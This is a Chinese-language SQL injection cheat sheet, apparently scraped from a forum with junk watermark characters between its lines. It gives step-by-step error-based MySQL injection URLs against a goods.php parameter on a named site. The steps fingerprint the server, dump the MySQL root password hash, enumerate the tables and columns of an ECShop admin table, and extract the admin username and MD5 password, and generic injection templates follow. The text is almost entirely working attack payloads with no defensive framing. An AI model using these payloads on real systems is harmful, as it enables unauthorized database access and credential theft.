判断版本号
& x* R' b/ c) M1 B& Y8 `) k& o1 q: Thttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ Y! M/ u! Z( W) f" O
1 b' O. \' t9 H8 a; u, \% h判断系统
% x- q, B$ B. T6 j* |. ^, ?
7 J* x0 o; u+ S7 J/ P8 Ghttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. E4 ]5 Z' `) J" T* H# m# [$ V
3 B( D5 b! W) _+ c) R( m% L
# z4 i% D9 m% w3 \
0 R1 j9 K5 @! l& t3 e. J当前 user()
5 X- t- q9 D: N2 L* Y$ A! u( P9 ?( R8 G$ ]
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 {( e( R# _; v6 d- g5 t% L( W N1 L4 x* X; T
+ x1 h. z' A. v( K& ^/ l
) h! m8 r, ~9 ]! M% c5 ?$ R当前 database()
1 c/ T$ Y7 [; v. p% b: `4 @& |http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 z; b2 g j' N5 L0 X& U! {' q, f+ D3 {" I: }0 t! ~
3 U8 k$ P0 O4 i# V) j
: s4 l( A+ [$ t% {2 Z
5 T5 K, c- b1 b0 M3 rroot hash8 I% P9 X, Y( { |0 ^: u9 Y# ?
$ S {, t, F$ I% O6 m! Fhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
% A3 T7 i; f5 y4 _5 ~
& r) @, ?1 f5 e# q3 @+ u! X8 e A5 X
/ f- `7 d8 U$ q) d7 O4 S' M" x, ^# e n, @* n
当前 数据库表名
& E5 G0 ]+ Q7 s. K7 G" E/ s9 u. u V0 \1 b6 b
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23% Q" ~1 s, n; \6 F( ^
/ Q. w7 k+ e& }3 h: V5 Y# r5 G! m, Q. p e
/ f# [( Q# G$ X
当前 数据库 user_name 字段
0 G& M* m" @2 |7 u0 ]+ c4 ~2 X' U
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%235 f# A7 [3 {9 @& H" L- }" p/ S
8 O( x) E) G, |# K5 T$ v
当前 数据库 字段 password* H/ ?: C$ t- U% w( k
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
* B4 |( i+ ^- [' P* W/ `, s* a3 K# \4 ?1 q9 a$ ^! `
$ U, Q: z C' ~& V" i2 w5 L9 o) s. r' Y3 j
获得 admin passwd(md5)
! ]: ` ~/ i6 t" I* N q
" i C! {; H5 \3 ]% M' A! S6 U% ?* ]) {* E& r* T* h, |1 z) M: A
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 D4 ^/ g3 j6 e# ?, \! V" N2 i2 Z! f( r: q+ X$ b3 a
报错注射
' l: E: f/ \0 N( w9 a% b! nSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)& y+ M0 {( l, i0 p( u* Q# ^
_( j5 i. {5 g0 D& Q# r/ U9 I
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)' G+ e/ k' b0 o
' F4 o% r' ?- h% C) d' r; u8 qand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |